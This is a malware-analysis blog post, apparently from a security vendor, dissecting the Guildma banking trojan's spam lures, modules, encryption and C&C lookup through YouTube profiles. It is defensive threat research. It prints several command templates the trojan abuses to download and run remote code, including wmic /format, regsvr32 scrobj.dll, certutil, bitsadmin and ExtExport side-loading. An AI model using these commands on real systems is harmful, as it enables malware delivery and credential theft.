Jan 7, 2022
86 Views
0 0

Guildma: The Devil drives electric

Written by

The fourth installment of our occasional series demystifying Latin American banking trojans
In this blogpost, we will examine Guildma (also known as Astaroth, a powerful demon), a highly prevalent Latin American banking trojan. This Brazil-targeting trojan, written in Delphi, boasts some innovative execution and attack techniques. We will describe the most recent version, highlighting the most notable changes made since the middle of 2019 when an avalanche of articles about Guildma was published in response to its largest campaign to date.
Guildma is a Latin American banking trojan that targets Brazil exclusively. Based on our telemetry — as well as the public attention it has received — we believe it to be the most impactful and advanced banking trojan in the region. Besides targeting financial institutions, Guildma also attempts to steal credentials for email accounts, e‑shops and streaming services, and affects at least ten times as many victims as other Latin American banking trojans already described in this series. It uses innovative methods of execution and sophisticated attack techniques.
Unlike the Latin American banking trojans we have described previously, Guildma does not store the fake pop-up windows it uses within the binary. Instead, the attack is orchestrated by its C&C server. This gives the authors greater flexibility to react to countermeasures implemented by the targeted banks.
Guildma implements the following backdoor functionalities:
Guildma is very modular. At the time of writing, it consists of 10 modules, not including distribution chain stages. The functionality of individual modules will be discussed later.
Our telemetry indicates Guildma spreads exclusively through spam emails with malicious attachments. Here are a few examples from a campaign from the middle of November 2019.
Figure 1. Spam email example (translation: “Hello, please explain these photos to me. I’m waiting for your explanation!”)
Figure 2. Spam email example (translation: “Dear member of consórcio, attached is the proof of bid no. 75432.”)
Figure 3. Spam email example (translation: “Good morning, I am sending the proof of transfer – DOC. Citibank”)
Figure 4. Spam email example. Fake invoice reminder stating that a payment is due the day after tomorrow and that the payment may take up to 72 hours to be processed.
One of the defining characteristics of Guildma’s distribution chains is using tools already present on the system, often in new and unusual ways.
Another characteristic is reusing techniques. New techniques are added every once in a while, but for the most part, the developers seem to simply reuse techniques from older versions.
Figure 5. Distribution chain of Guildma in version 150
Figure 5 shows the distribution chain for version 150, but the structure of Guildma’s distribution chains is very dynamic. For instance, in previous versions, the malicious LNK file shown in Figure 5 was not embedded in a ZIP archive, or an SFX RAR archive containing an MSI installer was used instead. Also, there used to be another JScript stage whose sole purpose was downloading and executing the final JScript stage; there have been too many changes overall to fit into this article. In fact, the only part that has mostly stayed the same is the final JScript stage.
Using data from our long-term, in-depth tracking of this family, we have compiled a very good picture of Guildma’s activity.
Figure 6 shows all ESET detections of Guildma’s first-stage component. As you can see, the campaigns were ramping up slowly until a massive campaign in August 2019, when we were seeing up to 50,000 samples per day. This campaign went on for almost two months and accounted for more than double the amount of detections we had seen in the 10 months prior.
Figure 6. First stage Guildma detections since October 2018
Following is a summary of some of the more interesting techniques used in the last 14 months.
Over the last year, Guildma has used several methods of executing the JScript stages of its distribution chain. At the end of 2018, Guildma was hiding its code in eXtensible Stylesheet Language (.xsl) files and using wmic.exe to download and execute them:
wmic.exe <wmic query> /format:”<URL>”
It then briefly moved on to using regsvr32.exe and scrobj.dll to download a JScript-implemented COM object and execute its registration routine (which contained the malicious code):
regsvr32.exe /s /n /u /i:<URL> scrobj.dll
Most recently, the authors started abusing Windows Explorer to execute the JScript stage. This attack relies on the fact that Windows Explorer will try to open any file passed to it on the command line with its associated program and the fact that the default association for .js files is the Microsoft Windows Script Host. The “script” passed to Windows Explorer is a single command whose purpose is to download and execute the actual JScript stage:
echo GetObject(‘script:<URL>’) > <file>.js | explorer.exe <random switches> <file>.js
Methods of running the PE modules are no less diverse.
When we started tracking Guildma, it was abusing Avast’s aswRunDll.exe to launch the first binary stage, with regsvr32.exe as a failover for computers where Avast’s products weren’t installed. The use of aswRunDll.exe was then dropped, leaving regsvr32.exe as the sole method of execution. After a brief period of using rundll32.exe, Guildma switched to its current execution method — ExtExport.exe.
ExtExport.exe is an undocumented component of Microsoft Internet Explorer used for exporting bookmarks from Mozilla Firefox and 360 Secure Browser, and can be abused for DLL Side-Loading. When the following command is executed, mozcrt19.dll, mozsqlite3.dll, and sqlite3.dll are loaded from the folder specified on the command line:
C:Program FilesInternet ExplorerExtExport.exe <folder> <dummy 1> <dummy 2>
To abuse this, you would normally drop the DLL to be loaded as one of the above-mentioned files; Guildma uses all three.
Guildma has also utilized a couple of different ways to download the binary modules. The first version was using certutil.exe copied to certis.exe (presumably to evade detection):
certis.exe -urlcache -split -f “<URL>” “<destination path>”
The authors then switched to BITSAdmin — the Microsoft Background Intelligent Transfer Service management tool — and are still using it at the time of writing:
bitsadmin.exe /transfer <random number> /priority foreground <URL> <destination>
For a couple months, the binary modules were base64-encoded and hosted on Google Cloud. In that time, Guildma was using both BITSAdmin and certutilBITSAdmin to download the modules and certutil to decode them.
Guildma uses strange, non-descriptive variable and function names. When we started tracking Guildma, the names, while nonsensical, were clearly man-made (e.g. “radador” for the random number function or “Bxaki” for the download function). In June 2019 they were all changed to random-looking names (e.g. “bx021” and “mrc430”). At first, we thought the authors implemented some kind of an automated script obfuscator, but it turned out to be a onetime change and the names have remained the same since.
A relatively new addition is the age-old technique of using ADS (Alternate Data Streams) to store the binary modules. All the modules are now stored as ADS of a single file (e.g. “desktop.ini:nauwuygiaa.jpg”, “desktop.ini:nauwuygiab.jpg”, etc.).
Guildma has seemingly gone through many versions during its development, but there was usually very little development between versions — due to its clunky architecture utilizing hardcoded configuration values, for the most part the authors have to recompile all the binaries for every new campaign. A job that is clearly not completely automated, since there has often been a significant delay between updating the version number in the scripts and in the binaries.
In this article, we cover version 150, but since we started writing, two more versions have been released. They contain no substantial change in functionality or distribution, supporting our claims about Guildma’s development cycle.
The final stage of the distribution chain used to contain a version name (and even before that, it used to download said name along with the binary modules), but it has been (presumably) permanently replaced with a simple “xXx” since version 148.
Table 1 summarizes all the versions released since we started tracking Guildma actively in October 2018. Looking at the version strings, we get the feeling the author is passionate about ecology and fast cars.
Table 1. Guildma version history
As mentioned earlier, Guildma is very modular; the structure of its modules seems to be mostly constant. In this section, we will briefly describe the functionality of each module.
All module names are composed of a shared, version-dependent prefix and a module-specific suffix. In Table 2, the version-dependent prefix is andrealfo.
Table 2. Guildma module overview
With the exception of the main module loader 1 (*64.~) and the main module injector (*xa.gif, *xb.gif and *xc.gif), all the modules are encrypted with a simple XOR cipher using a repeating 32-byte key. The key is generated from a 32-bit seed using the algorithm shown in Figure 7. The seed value is obfuscated in the binaries to prevent simple extraction (see Figure 8).
Figure 7. Key generation algorithm
Figure 8. Seed obfuscation in the binary
Three modules communicate with a C&C server: Main module, RAT module, and Contacts stealer and form grabber. The communication is done over HTTP(S) using a combination of base64 and various simple custom encryption algorithms to protect the data being transferred.
In the next section, we describe how the C&C server address is obtained.
This is the first binary stage of the chain. The file is a DLL downloaded in two parts, which are concatenated by the previous JScript stage. It loads the three files comprising the next stage loader (*xa.gif, *xb.gif and *xc.gif), concatenates them, maps the resulting PE file into its own address space and executes it.
Loading a PE file is a relatively complex process, so the authors used the BTMemoryModule open-source library for this purpose.
This module loads the next stage (*gx.gif) from disk and decrypts it. It then runs the first existing executable from the following list and injects the decrypted payload into it.
* An application, popular in Brazil, to protect access to online banking.
The last loader stage is very simple and seems to needlessly duplicate the functionality of main module loader 1. It loads and decrypts the main module (*g.gif), maps it into its own memory space and executes it.
Guildma’s main module orchestrates all the remaining modules. Its implementation is deceptively complex, using countless timers and events, but its functionality is actually relatively simple. It contains legacy code that is not being used anymore as well as pre-production code that is not being used yet.
On loading, this module checks if it is running in a sandboxed environment (for example, by examining the computer name and system disk volume ID), if there are other running instances of itself (based on window names) and if the system locale is different from Portuguese. If any check reveals the system is uninteresting or already compromised by Guildma, the malware terminates.
Otherwise, the module then collects information from the system (computer name, which security software is being used, installed programs…) and establishes contact with the C&C server. It then starts monitoring interesting events, mainly when certain applications are launched or online banking sites opened, and executing appropriate actions (e.g. taking screenshots, preventing the user from closing the window by intercepting keyboard shortcuts, launching the RAT module, and so on).
The module also implements backdoor commands whose functionality largely overlaps with the RAT module.
This module has two functions — gathering email addresses and form data from webpages.
Email addresses are obtained from desktop email clients (such as Microsoft Outlook, Thunderbird and The Bat!) by parsing their address books as well as the emails themselves.
The form grabber uses Windows COM technology to interact with Internet Explorer. It waits until a targeted site is opened (mostly Brazilian webmails, e-shops and payment gateways) and then logs the user out, forcing the victim to input credentials. It then retrieves the DOM and looks for important input field values (such as usernames, passwords and credit card numbers).
The RAT module comes in two functionally identical compilations — DLL (*dwwn.gif) and EXE (*.dx.gif).
It implements download and execute functionality, can take screenshots, emulate keyboard and mouse input, and restart the computer.
Most Latin American banking trojans display fake pop-up windows based on monitoring the active window’s name. These windows are usually stored in the binary. We have not found such code in Guildma, but the RAT module contains a Delphi form implementing a simple web browser. Since it is also executed based on the active window’s name, we believe this form is used for displaying fake dialogs to the user.
These are freeware tools from Nirsoft for extracting saved credentials from popular email clients and web browsers respectively. Since Nirsoft has removed support for quiet operation (output to file, with no GUI) from newer versions to curb the abuse of these tools by malware, Guildma’s authors are using older versions that had those features. The same tools are also leveraged by Mispadu, except Mispadu is using newer versions with quiet operation support patched back in.
This module drops and executes (using cscript.exe) a JScript file. The script consists of two parts — the first part is stored as one long encrypted string, while the second part is assembled from many short strings (some encrypted and some in plaintext). Worthy of note is the fact that strings in the dropped JScript file are encrypted by this dropper module with a randomly generated key, so they are present in the clear in the dropper.
The script executes the following actions:
We believe this module may still be in development as we have never observed it on our test machines dropping the script.
In version 142, a new way of distributing C&C servers, abusing YouTube and Facebook profiles, was implemented. However, the authors stopped using Facebook almost immediately and, at the time of writing, are fully relying on YouTube. This is similar to Casbaneiro, but a bit cruder. While Casbaneiro was hiding the data in video descriptions and obfuscating it as a part of a URL, Guildma simply places the data in the channel description. The start and end of the encrypted C&C addresses is delimited by “|||”. The data in between is base64 encoded and encrypted using Mispadu’s string encryption algorithm. This is now the primary method of retrieving C&C servers; the old method (described by Avast) is still present as a backup.
Figure 9. Encrypted Guildma C&C server domains stored on YouTube
The previously described JScript dropper module was added in version 145. Conversely, in version 139, Guildma dropped two other modules present in older versions — mass mailer (*f.jpg) and its loader (*e.jpg). In the next few versions, these modules were still accessible under the expected names (<version prefix>e.jpg and <version prefix>f.jpg) from the same server as the other modules. This leads us to believe these modules are still being developed, but are now only distributed as needed, presumably using the download and execute backdoor command.
The JScript dropper module brought with it a new string encryption algorithm. A variant of this algorithm (shown in Figure 10) was propagated into other modules in version 147.
Figure 10. New string encryption algorithm
Originally, Guildma was using the same string encryption as Casbaneiro. The new algorithm has four stages and as you can see, the original string encryption algorithm is still used as the first stage. Also of note is the fact that the fourth stage is once again using Mispadu’s encryption algorithm.
In version 148 Guildma implemented a string table; all strings are decrypted at the beginning of execution and accessed from the table when needed.
In version 138, Guildma added capability to target institutions (mainly banks) outside of Brazil. Despite that, we have observed no international campaigns; the campaigns hosting files on Cloudflare Workers’ infrastructure even went as far as to block any downloads from non-Brazilian IPs. In fact, in the last 14 months we haven’t seen any campaign targeting users outside of Brazil.
Finally, in version 145, the capability to target institutions outside of Brazil was removed. Based on these facts, we believe it was merely an in-development feature which ended up being scrapped.
In this part of the series, we have talked about Guildma, the most prevalent Latin American banking trojan we have seen. We have shown its rich historical developments while focusing on the most recent variant.
Guildma once again shares the prevailing characteristics of a Latin American banking trojan. It is written in Delphi, targets the region, implements backdoor functionality, splits its functionality into many modules and abuses legitimate tools.
Guildma also shares interesting common features with families described earlier in this series. Namely, its current encryption algorithm combines the ones used by Casbaneiro and Mispadu.
For any inquiries, contact us at threatintel@eset.com. Indicators of Compromise can also be found in our GitHub repository.
C:UsersPublicLibrariesqlanl*
%APPDATA%MicrosoftProgramsStartUpreiast%USERNAME%%COMPUTERNAME%.lnk
C:Program Files (x86)Internet ExplorerExtExport.exe
C:Program FilesInternet ExplorerExtExport.exe
<install dir> <rand> <rand>
(where <rand> is a random, 5 to 9 character long string generated from the alphabet qwertyuiop1lgfdsas2dfghj3zcvbnmm)

source

Article Categories:
Malware

Comments are closed.